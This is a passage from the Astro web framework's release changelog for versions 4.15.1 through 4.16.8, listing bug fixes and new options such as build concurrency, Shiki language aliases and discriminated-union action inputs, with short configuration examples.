[#&#8203;12346](https://github.com/withastro/astro/pull/12346) [`20e5a84`](https://github.com/withastro/astro/commit/20e5a843c86e9328814615edf3e8a6fb5e4696cc) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes sourcemap generation when prefetch is enabled - [#&#8203;12349](https://github.com/withastro/astro/pull/12349) [`1fc83d3`](https://github.com/withastro/astro/commit/1fc83d3ba8315c31b2a3aadc77b20b1615d261a0) Thanks [@&#8203;norskeld](https://github.com/norskeld)! - Fixes the `getImage` options type so it properly extends `ImageTransform` ### [`v4.16.8`](https://github.com/withastro/astro/releases/tag/astro%404.16.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.7...astro@4.16.8) ##### Patch Changes - [#&#8203;12338](https://github.com/withastro/astro/pull/12338) [`9ca89b3`](https://github.com/withastro/astro/commit/9ca89b3e13d47e146989cfabb916d6599d140f03) Thanks [@&#8203;situ2001](https://github.com/situ2001)! - Resets `NODE_ENV` to ensure install command run in dev mode - [#&#8203;12286](https://github.com/withastro/astro/pull/12286) [`9d6bcdb`](https://github.com/withastro/astro/commit/9d6bcdb88fcb9df0c5c70e2b591bcf962ce55f63) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where a warning for experimental `astro:env` support would be shown when using an adapter but not actually using `astro:env` - [#&#8203;12342](https://github.com/withastro/astro/pull/12342) [`ffc836b`](https://github.com/withastro/astro/commit/ffc836bac0cdea684ea91f958ac8298d4ee4b07d) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - Fixes a typo in the command name of the CLI - [#&#8203;12301](https://github.com/withastro/astro/pull/12301) [`0cfc69d`](https://github.com/withastro/astro/commit/0cfc69d499815d4e1f1dc37cf32653195586087a) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Fixes an issue with action handler context by passing the correct context (`ActionAPIContext`). - [#&#8203;12312](https://github.com/withastro/astro/pull/12312) [`5642ef9`](https://github.com/withastro/astro/commit/5642ef9029890fc29793c160321f78f62cdaafcb) Thanks [@&#8203;koyopro](https://github.com/koyopro)! - Fixes an issue where using `getViteConfig()` returns incorrect and duplicate configuration - [#&#8203;12245](https://github.com/withastro/astro/pull/12245) [`1d4f6a4`](https://github.com/withastro/astro/commit/1d4f6a4989bc1cfd7109b1bff41503f115660e02) Thanks [@&#8203;bmenant](https://github.com/bmenant)! - Add `components` property to MDXInstance type definition (RenderResult and module import) - [#&#8203;12340](https://github.com/withastro/astro/pull/12340) [`94eaeea`](https://github.com/withastro/astro/commit/94eaeea1c437402ffc44103126b355adab4b8a01) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro actions didn't work when `base` was different from `/` ### [`v4.16.7`](https://github.com/withastro/astro/releases/tag/astro%404.16.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.6...astro@4.16.7) ##### Patch Changes - [#&#8203;12263](https://github.com/withastro/astro/pull/12263) [`e9e8080`](https://github.com/withastro/astro/commit/e9e8080a8139f898dcfa3c030f5ddaa98413c160) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes conflict between server islands and on-demand dynamic routes in the form of `/[...rest]` or `/[paramA]/[paramB]`. - [#&#8203;12279](https://github.com/withastro/astro/pull/12279) [`b781f88`](https://github.com/withastro/astro/commit/b781f8860c7d11e51fb60a0d6528bc88913ffc35) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Update wrong error message - [#&#8203;12273](https://github.com/withastro/astro/pull/12273) [`c2ee963`](https://github.com/withastro/astro/commit/c2ee963cb6c0a65481be505848a7272d800f2f7b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue with some package managers where sites would not build if TypeScript was not installed. - [#&#8203;12235](https://github.com/withastro/astro/pull/12235) [`a75bc5e`](https://github.com/withastro/astro/commit/a75bc5e3068ed80366a03efbec78b3b0f8837516) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro Actions couldn't redirect to the correct pathname when there was a rewrite involved. - [#&#8203;11839](https://github.com/withastro/astro/pull/11839) [`ff522b9`](https://github.com/withastro/astro/commit/ff522b96a01391a29b44f820dfcc2a2176d871e7) Thanks [@&#8203;icaliman](https://github.com/icaliman)! - Fixes error when returning a top-level `null` from an Astro file frontmatter - [#&#8203;12272](https://github.com/withastro/astro/pull/12272) [`388d237`](https://github.com/withastro/astro/commit/388d2375b6900e6401e1c711087ee0b2176418dd) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correctly handles local images when using a base path in SSR ### [`v4.16.6`](https://github.com/withastro/astro/releases/tag/astro%404.16.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.5...astro@4.16.6) ##### Patch Changes - [#&#8203;11823](https://github.com/withastro/astro/pull/11823) [`a3d30a6`](https://github.com/withastro/astro/commit/a3d30a602aaa1755197c73f0b51cace61f9088b3) Thanks [@&#8203;DerTimonius](https://github.com/DerTimonius)! - fix: improve error message when inferSize is used in local images with the Image component - [#&#8203;12227](https://github.com/withastro/astro/pull/12227) [`8b1a641`](https://github.com/withastro/astro/commit/8b1a641be9de4baa9ae48dd0d045915fbbeffa8c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where environment variables would not be refreshed when using `astro:env` - [#&#8203;12239](https://github.com/withastro/astro/pull/12239) [`2b6daa5`](https://github.com/withastro/astro/commit/2b6daa5840c18729c41f6cd8b4571b88d0cba119) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - **BREAKING CHANGE to the experimental Container API only** Changes the default page rendering behavior of Astro components in containers, and adds a new option `partial: false` to render full Astro pages as before. Previously, the Container API was rendering all Astro components as if they were full Astro pages containing `<!DOCTYPE html>` by default. This was not intended, and now by default, all components will render as [page partials](https://docs.astro.build/en/basics/astro-pages/#page-partials): only the contents of the components without a page shell. To render the component as a full-fledged Astro page, pass a new option called `partial: false` to `renderToString()` and `renderToResponse()`: ```js import { experimental_AstroContainer as AstroContainer } from 'astro/container'; import Card from '../src/components/Card.astro'; const container = AstroContainer.create(); await container.renderToString(Card); // the string will not contain `<!DOCTYPE html>` await container.renderToString(Card, { partial: false }); // the string will contain `<!DOCTYPE html>` ``` ### [`v4.16.5`](https://github.com/withastro/astro/releases/tag/astro%404.16.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.4...astro@4.16.5) ##### Patch Changes - [#&#8203;12232](https://github.com/withastro/astro/pull/12232) [`ff68ba5`](https://github.com/withastro/astro/commit/ff68ba5e1ca00f06d1afd5fbf89acea3092bb660) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue with cssesc in dev mode when setting `vite.ssr.noExternal: true` ### [`v4.16.4`](https://github.com/withastro/astro/releases/tag/astro%404.16.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.3...astro@4.16.4) ##### Patch Changes - [#&#8203;12223](https://github.com/withastro/astro/pull/12223) [`79ffa5d`](https://github.com/withastro/astro/commit/79ffa5d9f75c16465134aa4ed4a3d1d59908ba8b) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes a false positive reported by the dev toolbar Audit app where a label was considered missing when associated with a button The `button` element can be [used with a label](https://www.w3.org/TR/2011/WD-html5-author-20110809/forms.html#category-label) (e.g. to create a switch) and should not be reported as an accessibility issue when used as a child of a `label`. - [#&#8203;12199](https://github.com/withastro/astro/pull/12199) [`c351352`](https://github.com/withastro/astro/commit/c3513523608f319b43c050e391be08e68b801329) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression in the computation of `Astro.currentLocale` - [#&#8203;12222](https://github.com/withastro/astro/pull/12222) [`fb55695`](https://github.com/withastro/astro/commit/fb5569583b11ef585cd0a79e97e7e9dc653f6afa) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the edge middleware couldn't correctly compute the client IP address when calling `ctx.clientAddress()` ### [`v4.16.3`](https://github.com/withastro/astro/releases/tag/astro%404.16.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.2...astro@4.16.3) ##### Patch Changes - [#&#8203;12220](https://github.com/withastro/astro/pull/12220) [`b049359`](https://github.com/withastro/astro/commit/b0493596dc338377198d0a39efc813dad515b624) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes accidental internal `setOnSetGetEnv` parameter rename that caused runtime errors - [#&#8203;12197](https://github.com/withastro/astro/pull/12197) [`2aa2dfd`](https://github.com/withastro/astro/commit/2aa2dfd05dc7b7e6ad13451e6cc2afa9b1c92a32) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fix a regression where a port was incorrectly added to the `Astro.url` ### [`v4.16.2`](https://github.com/withastro/astro/releases/tag/astro%404.16.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.1...astro@4.16.2) ##### Patch Changes - [#&#8203;12206](https://github.com/withastro/astro/pull/12206) [`12b0022`](https://github.com/withastro/astro/commit/12b00225067445629e5ae451d763d03f70065f88) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Reverts [#&#8203;12173](https://github.com/withastro/astro/pull/12173) which caused `Can't modify immutable headers` warnings and 500 errors on Cloudflare Pages ### [`v4.16.1`](https://github.com/withastro/astro/releases/tag/astro%404.16.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.0...astro@4.16.1) ##### Patch Changes - [#&#8203;12177](https://github.com/withastro/astro/pull/12177) [`a4ffbfa`](https://github.com/withastro/astro/commit/a4ffbfaa5cb460c12bd486fd75e36147f51d3e5e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Ensure we target scripts for execution in the router Using `document.scripts` is unsafe because if the application has a `name="scripts"` this will shadow the built-in `document.scripts`. Fix is to use `getElementsByTagName` to ensure we're only grabbing real scripts. - [#&#8203;12173](https://github.com/withastro/astro/pull/12173) [`2d10de5`](https://github.com/withastro/astro/commit/2d10de5f212323e6e19c7ea379826dcc18fe739c) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro Actions couldn't redirect to the correct pathname when there was a rewrite involved. ### [`v4.16.0`](https://github.com/withastro/astro/releases/tag/astro%404.16.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.12...astro@4.16.0) ##### Minor Changes - [#&#8203;12039](https://github.com/withastro/astro/pull/12039) [`710a1a1`](https://github.com/withastro/astro/commit/710a1a11f488ff6ed3da6d3e0723b2322ccfe27b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a `markdown.shikiConfig.langAlias` option that allows [aliasing a non-supported code language to a known language](https://shiki.style/guide/load-lang#custom-language-aliases). This is useful when the language of your code samples is not [a built-in Shiki language](https://shiki.style/languages), but you want your Markdown source to contain an accurate language while also displaying syntax highlighting. The following example configures Shiki to highlight `cjs` code blocks using the `javascript` syntax highlighter: ```js import { defineConfig } from 'astro/config'; export default defineConfig({ markdown: { shikiConfig: { langAlias: { cjs: 'javascript', }, }, }, }); ``` Then in your Markdown, you can use the alias as the language for a code block for syntax highlighting: ````md ```cjs 'use strict'; function commonJs() { return 'I am a commonjs file'; } ``` ```` - [#&#8203;11984](https://github.com/withastro/astro/pull/11984) [`3ac2263`](https://github.com/withastro/astro/commit/3ac2263ff6070136bec9cffb863c38bcc31ccdfe) Thanks [@&#8203;chaegumi](https://github.com/chaegumi)! - Adds a new `build.concurreny` configuration option to specify the number of pages to build in parallel **In most cases, you should not change the default value of `1`.** Use this option only when other attempts to reduce the overall rendering time (e.g. batch or cache long running tasks like fetch calls or data access) are not possible or are insufficient. Use this option only if the refactors are not possible. If the number is set too high, the page rendering may slow down due to insufficient memory resources and because JS is single-threaded. > \[!WARNING] > This feature is stable and is not considered experimental. However, this feature is only intended to address difficult performance issues, and breaking changes may occur in a [minor release](https://docs.astro.build/en/upgrade-astro/#semantic-versioning) to keep this option as performant as possible. ```js // astro.config.mjs import { defineConfig } from 'astro'; export default defineConfig({ build: { concurrency: 2, }, }); ``` ##### Patch Changes - [#&#8203;12160](https://github.com/withastro/astro/pull/12160) [`c6fd1df`](https://github.com/withastro/astro/commit/c6fd1df695d0f2a24bb49e6954064f92664ccf67) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Fixes a bug where `astro.config.mts` and `astro.config.cts` weren't reloading the dev server upon modifications. - [#&#8203;12130](https://github.com/withastro/astro/pull/12130) [`e96bcae`](https://github.com/withastro/astro/commit/e96bcae535ef2f0661f539c1d49690c531df2d4e) Thanks [@&#8203;thehansys](https://github.com/thehansys)! - Fixes a bug in the parsing of `x-forwarded-\*` `Request` headers, where multiple values assigned to those headers were not correctly parsed. Now, headers like `x-forwarded-proto: https,http` are correctly parsed. - [#&#8203;12147](https://github.com/withastro/astro/pull/12147) [`9db755a`](https://github.com/withastro/astro/commit/9db755ab7cfe658ec426387e297bdcd32c4bc8de) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Skips setting statusMessage header for HTTP/2 response HTTP/2 doesn't support status message, so setting this was logging a warning. - [#&#8203;12151](https://github.com/withastro/astro/pull/12151) [`bb6d37f`](https://github.com/withastro/astro/commit/bb6d37f94a283433994f9243189cb4386df0e11a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `Astro.currentLocale` wasn't incorrectly computed when the `defaultLocale` belonged to a custom locale path. - Updated dependencies \[[`710a1a1`](https://github.com/withastro/astro/commit/710a1a11f488ff6ed3da6d3e0723b2322ccfe27b)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;5.3.0 ### [`v4.15.12`](https://github.com/withastro/astro/releases/tag/astro%404.15.12) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.11...astro@4.15.12) ##### Patch Changes - [#&#8203;12121](https://github.com/withastro/astro/pull/12121) [`2490ceb`](https://github.com/withastro/astro/commit/2490cebdb93f13ee552cffa72b2e274d64e6b4a7) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Support passing the values `Infinity` and `-Infinity` as island props. - [#&#8203;12118](https://github.com/withastro/astro/pull/12118) [`f47b347`](https://github.com/withastro/astro/commit/f47b347da899c6e1dcd0b2e7887f7fce6ec8e270) Thanks [@&#8203;Namchee](https://github.com/Namchee)! - Removes the `strip-ansi` dependency in favor of the native Node API - [#&#8203;12126](https://github.com/withastro/astro/pull/12126) [`6e1dfeb`](https://github.com/withastro/astro/commit/6e1dfeb76bec09d24928bab798c6ad3280f42e84) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Clear content layer cache when astro version changes - [#&#8203;12117](https://github.com/withastro/astro/pull/12117) [`a46839a`](https://github.com/withastro/astro/commit/a46839a5c818b7de63c36d0c7e27f1a8f3b773dc) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Updates Vite links to use their new domain - [#&#8203;12124](https://github.com/withastro/astro/pull/12124) [`499fbc9`](https://github.com/withastro/astro/commit/499fbc91a6bdad8c86ff13a8caf1fa09433796b9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Allows special characters in Action names - [#&#8203;12123](https://github.com/withastro/astro/pull/12123) [`b8673df`](https://github.com/withastro/astro/commit/b8673df51c6cc4ce6a288f8eb609b7a438a07d82) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes missing `body` property on CollectionEntry types for content layer entries - [#&#8203;12132](https://github.com/withastro/astro/pull/12132) [`de35daa`](https://github.com/withastro/astro/commit/de35daa8517555c1b9c72bc7fe9cc955c4997a83) Thanks [@&#8203;jcayzac](https://github.com/jcayzac)! - Updates the [`cookie`](https://npmjs.com/package/cookie) dependency to avoid the [CVE 2024-47764](https://nvd.nist.gov/vuln/detail/CVE-2024-47764) vulnerability. - [#&#8203;12113](https://github.com/withastro/astro/pull/12113) [`a54e520`](https://github.com/withastro/astro/commit/a54e520d3c139fa123e7029c5933951b5c7f5a39) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a helpful error when attempting to render an undefined collection entry ### [`v4.15.11`](https://github.com/withastro/astro/releases/tag/astro%404.15.11) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.10...astro@4.15.11) ##### Patch Changes - [#&#8203;12097](https://github.com/withastro/astro/pull/12097) [`11d447f`](https://github.com/withastro/astro/commit/11d447f66b1a0f39489c2600139ebfb565336ce7) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes error where references in content layer schemas sometimes incorrectly report as missing - [#&#8203;12108](https://github.com/withastro/astro/pull/12108) [`918953b`](https://github.com/withastro/astro/commit/918953bd09f057131dfe029e810019c0909345cf) Thanks [@&#8203;lameuler](https://github.com/lameuler)! - Fixes a bug where [data URL images](https://developer.mozilla.org/en-US/docs/Web/URI/Schemes/data) were not correctly handled. The bug resulted in an `ENAMETOOLONG` error. - [#&#8203;12105](https://github.com/withastro/astro/pull/12105) [`42037f3`](https://github.com/withastro/astro/commit/42037f33e644d5a2bfba71377697fc7336ecb15b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Returns custom statusText that has been set in a Response - [#&#8203;12109](https://github.com/withastro/astro/pull/12109) [`ea22558`](https://github.com/withastro/astro/commit/ea225585fd12d27006434266163512ca66ad572b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression that was introduced by an internal refactor of how the middleware is loaded by the Astro application. The regression was introduced by [#&#8203;11550](https://github.com/withastro/astro/pull/11550). When the edge middleware feature is opted in, Astro removes the middleware function from the SSR manifest, and this wasn't taken into account during the refactor. - [#&#8203;12106](https://github.com/withastro/astro/pull/12106) [`d3a74da`](https://github.com/withastro/astro/commit/d3a74da19644477ffc81acf2a3efb26ad3335a5e) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Handles case where an immutable Response object is returned from an endpoint - [#&#8203;12090](https://github.com/withastro/astro/pull/12090) [`d49a537`](https://github.com/withastro/astro/commit/d49a537f2aaccd132154a15f1da4db471272ee90) Thanks [@&#8203;markjaquith](https://github.com/markjaquith)! - Server islands: changes the server island HTML placeholder comment so that it is much less likely to get removed by HTML minifiers. ### [`v4.15.10`](https://github.com/withastro/astro/releases/tag/astro%404.15.10) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.9...astro@4.15.10) ##### Patch Changes - [#&#8203;12084](https://github.com/withastro/astro/pull/12084) [`12dae50`](https://github.com/withastro/astro/commit/12dae50c776474748a80cb65c8bf1c67f0825cb0) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds missing filePath property on content layer entries - [#&#8203;12046](https://github.com/withastro/astro/pull/12046) [`d7779df`](https://github.com/withastro/astro/commit/d7779dfae7bc00ff94b1e4596ff5b4897f65aabe) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - View transitions: Fixes Astro's fade animation to prevent flashing during morph transitions. - [#&#8203;12043](https://github.com/withastro/astro/pull/12043) [`1720c5b`](https://github.com/withastro/astro/commit/1720c5b1d2bfd106ad065833823aed622bee09bc) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes injected endpoint `prerender` option detection - [#&#8203;12095](https://github.com/withastro/astro/pull/12095) [`76c5fbd`](https://github.com/withastro/astro/commit/76c5fbd6f3a8d41367f1d7033278d133d518213b) Thanks [@&#8203;TheOtterlord](https://github.com/TheOtterlord)! - Fix installing non-stable versions of integrations with `astro add` ### [`v4.15.9`](https://github.com/withastro/astro/releases/tag/astro%404.15.9) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.8...astro@4.15.9) ##### Patch Changes - [#&#8203;12034](https://github.com/withastro/astro/pull/12034) [`5b3ddfa`](https://github.com/withastro/astro/commit/5b3ddfadcb2d09b6cbd9cd42641f30ca565d0f58) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the middleware wasn't called when a project uses `404.astro`. - [#&#8203;12042](https://github.com/withastro/astro/pull/12042) [`243ecb6`](https://github.com/withastro/astro/commit/243ecb6d6146dc483b4726d0e76142fb25e56243) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a problem in the Container API, where a polyfill wasn't correctly applied. This caused an issue in some environments where `crypto` isn't supported. - [#&#8203;12038](https://github.com/withastro/astro/pull/12038) [`26ea5e8`](https://github.com/withastro/astro/commit/26ea5e814ab8c973e683fff62389fda28c180940) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Resolves image paths in content layer with initial slash as project-relative When using the `image()` schema helper, previously paths with an initial slash were treated as public URLs. This was to match the behavior of markdown images. However this is a change from before, where paths with an initial slash were treated as project-relative. This change restores the previous behavior, so that paths with an initial slash are treated as project-relative. ### [`v4.15.8`](https://github.com/withastro/astro/releases/tag/astro%404.15.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.7...astro@4.15.8) ##### Patch Changes - [#&#8203;12014](https://github.com/withastro/astro/pull/12014) [`53cb41e`](https://github.com/withastro/astro/commit/53cb41e30ea5768bf33d9f6be608fb57d31b7b9e) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue where component styles were not correctly included in rendered MDX - [#&#8203;12031](https://github.com/withastro/astro/pull/12031) [`8c0cae6`](https://github.com/withastro/astro/commit/8c0cae6d1bd70b332286d83d0f01cfce5272fbbe) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the rewrite via `next(/*..*/)` inside a middleware didn't compute the new `APIContext.params` - [#&#8203;12026](https://github.com/withastro/astro/pull/12026) [`40e7a1b`](https://github.com/withastro/astro/commit/40e7a1b05d9e5ea3fcda176c9663bbcff86edb63) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Initializes the Markdown processor only when there's `.md` files - [#&#8203;12028](https://github.com/withastro/astro/pull/12028) [`d3bd673`](https://github.com/withastro/astro/commit/d3bd673392e63720e241d6a002a131a3564c169c) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Handles route collision detection only if it matches `getStaticPaths` - [#&#8203;12027](https://github.com/withastro/astro/pull/12027) [`dd3b753`](https://github.com/withastro/astro/commit/dd3b753aba6400558671d85214e27b8e4fb1654b) Thanks [@&#8203;fviolette](https://github.com/fviolette)! - Add `selected` to the list of boolean attributes - [#&#8203;12001](https://github.com/withastro/astro/pull/12001) [`9be3e1b`](https://github.com/withastro/astro/commit/9be3e1bba789af96d8b21d9c8eca8542cfb4ff77) Thanks [@&#8203;uwej711](https://github.com/uwej711)! - Remove dependency on path-to-regexp ### [`v4.15.7`](https://github.com/withastro/astro/releases/tag/astro%404.15.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.6...astro@4.15.7) ##### Patch Changes - [#&#8203;12000](https://github.com/withastro/astro/pull/12000) [`a2f8c5d`](https://github.com/withastro/astro/commit/a2f8c5d85ff15803f5cedf9148cd70ffc138ddef) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes an outdated link used to document Content Layer API - [#&#8203;11915](https://github.com/withastro/astro/pull/11915) [`0b59fe7`](https://github.com/withastro/astro/commit/0b59fe74d5922c572007572ddca8d11482e2fb5c) Thanks [@&#8203;azhirov](https://github.com/azhirov)! - Fix: prevent island from re-rendering when using transition:persist ([#&#8203;11854](https://github.com/withastro/astro/issues/11854)) ### [`v4.15.6`](https://github.com/withastro/astro/releases/tag/astro%404.15.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.5...astro@4.15.6) ##### Patch Changes - [#&#8203;11993](https://github.com/withastro/astro/pull/11993) [`ffba5d7`](https://github.com/withastro/astro/commit/ffba5d716edcdfc42899afaa4188b7a4cd0c91eb) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix getStaticPaths regression This reverts a previous change meant to remove a dependency, to fix a regression with multiple nested spread routes. - [#&#8203;11964](https://github.com/withastro/astro/pull/11964) [`06eff60`](https://github.com/withastro/astro/commit/06eff60cabb55d91fe4075421b1693b1ab33225c) Thanks [@&#8203;TheOtterlord](https://github.com/TheOtterlord)! - Add wayland (wl-copy) support to `astro info` ### [`v4.15.5`](https://github.com/withastro/astro/releases/tag/astro%404.15.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.4...astro@4.15.5) ##### Patch Changes - [#&#8203;11939](https://github.com/withastro/astro/pull/11939) [`7b09c62`](https://github.com/withastro/astro/commit/7b09c62b565cd7b50c35fb68d390729f936a43fb) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds support for Zod discriminated unions on Action form inputs. This allows forms with different inputs to be submitted to the same action, using a given input to decide which object should be used for validation. This example accepts either a `create` or `update` form submission, and uses the `type` field to determine which object to validate against. ```ts import { defineAction } from 'astro:actions'; import { z } from 'astro:schema'; export const server = { changeUser: defineAction({ accept: 'form', input: z.discriminatedUnion('type', [ z.object({ type: z.literal('create'), name: z.string(), email: z.string().email(), }), z.object({ type: z.literal('update'), id: z.number(), name: z.string(), email: z.string().email(), }), ]), async handler(input) { if (input.type === 'create') { // input is { type: 'create', name: string, email: string } } else { // input is { type: 'update', id: number, name: string, email: string } } }, }), }; ``` The corresponding `create` and `update` forms may look like this: ```astro --- import { actions } from 'astro:actions'; --- <!--Create--> <form action={actions.changeUser} method="POST"> <input type="hidden" name="type" value="create" /> <input type="text" name="name" required /> <input type="email" name="email" required /> <button type="submit">Create User</button> </form> <!--Update--> <form action={actions.changeUser} method="POST"> <input type="hidden" name="type" value="update" /> <input type="hidden" name="id" value="user-123" /> <input type="text" name="name" required /> <input type="email" name="email" required /> <button type="submit">Update User</button> </form> ``` - [#&#8203;11968](https://github.com/withastro/astro/pull/11968) [`86ad1fd`](https://github.com/withastro/astro/commit/86ad1fd223e2d2c448372caa159090efbee69237) Thanks [@&#8203;NikolaRHristov](https://github.com/NikolaRHristov)! - Fixes a typo in the server island JSDoc - [#&#8203;11983](https://github.com/withastro/astro/pull/11983) [`633eeaa`](https://github.com/withastro/astro/commit/633eeaa9d8a8a35bba638fde06fd8f52cc1c2ce3) Thanks [@&#8203;uwej711](https://github.com/uwej711)! - Remove dependency on path-to-regexp ### [`v4.15.4`](https://github.com/withastro/astro/releases/tag/astro%404.15.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.3...astro@4.15.4) ##### Patch Changes - [#&#8203;11879](https://github.com/withastro/astro/pull/11879) [`bd1d4aa`](https://github.com/withastro/astro/commit/bd1d4aaf8262187b4f132d7fe0365902131ddf1a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Allow passing a cryptography key via ASTRO\_KEY For Server islands Astro creates a cryptography key in order to hash props for the islands, preventing accidental leakage of secrets. If you deploy to an environment with rolling updates then there could be multiple instances of your app with different keys, causing potential key mismatches. To fix this you can now pass the `ASTRO_KEY` environment variable to your build in order to reuse the same key. To generate a key use: ``` astro create-key ``` This will print out an environment variable to set like: ``` ASTRO_KEY=PIAuyPNn2aKU/bviapEuc/nVzdzZPizKNo3OqF/5PmQ= ``` - [#&#8203;11935](https://github.com/withastro/astro/pull/11935) [`c58193a`](https://github.com/withastro/astro/commit/c58193a691775af5c568e461c63040a42e2471f7) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `astro add` not using the proper export point when adding certain adapters ### [`v4.15.3`](https://github.com/withastro/astro/releases/tag/astro%404.15.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.2...astro@4.15.3) ##### Patch Changes - [#&#8203;11902](https://github.com/withastro/astro/pull/11902) [`d63bc50`](https://github.com/withastro/astro/commit/d63bc50d9940c1107e0fee7687e5c332549a0eff) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes case where content layer did not update during clean dev builds on Linux and Windows - [#&#8203;11886](https://github.com/withastro/astro/pull/11886) [`7ff7134`](https://github.com/withastro/astro/commit/7ff7134b8038a3b798293b2218bbf6dd02d2ac32) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a missing error message when actions throws during `astro sync` - [#&#8203;11904](https://github.com/withastro/astro/pull/11904) [`ca54e3f`](https://github.com/withastro/astro/commit/ca54e3f819fad009ac3c3c8b57a26014a2652a73) Thanks [@&#8203;wtchnm](https://github.com/wtchnm)! - perf(assets): avoid downloading original image when using cache ### [`v4.15.2`](https://github.com/withastro/astro/releases/tag/astro%404.15.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.1...astro@4.15.2) ##### Patch Changes - [#&#8203;11870](https://github.com/withastro/astro/pull/11870) [`8e5257a`](https://github.com/withastro/astro/commit/8e5257addaeff809ed6f0c47ac0ed4ded755320e) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes typo in documenting the `fallbackType` property in i18n routing - [#&#8203;11884](https://github.com/withastro/astro/pull/11884) [`e450704`](https://github.com/withastro/astro/commit/e45070459f18976400fc8939812e172781eba351) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correctly handles content layer data where the transformed value does not match the input schema - [#&#8203;11900](https://github.com/withastro/astro/pull/11900) [`80b4a18`](https://github.com/withastro/astro/commit/80b4a181a077266c44065a737e61cc7cff6bc6d7) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes the user-facing type of the new `i18n.routing.fallbackType` option to be optional ### [`v4.15.1`](https://github.com/withastro/astro/releases/tag/astro%404.15.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.15.0...astro@4.15.1) ##### Patch Changes - [#&#8203;11872](https://github.com/withastro/astro/pull/11872) [`9327d56`](https://github.com/withastro/astro/commit/9327d56755404b481993b058bbfc4aa7880b2304) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes `astro add` importing adapters and integrations - [#&#8203;11767](https://github.com/withastro/astro/pull/11767) [`d1bd1a1`](https://github.com/withastro/astro/commit/d1bd1a11f7aca4d2141d1c4665f2db0440393d03) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Refactors content layer sync to use a queue ### 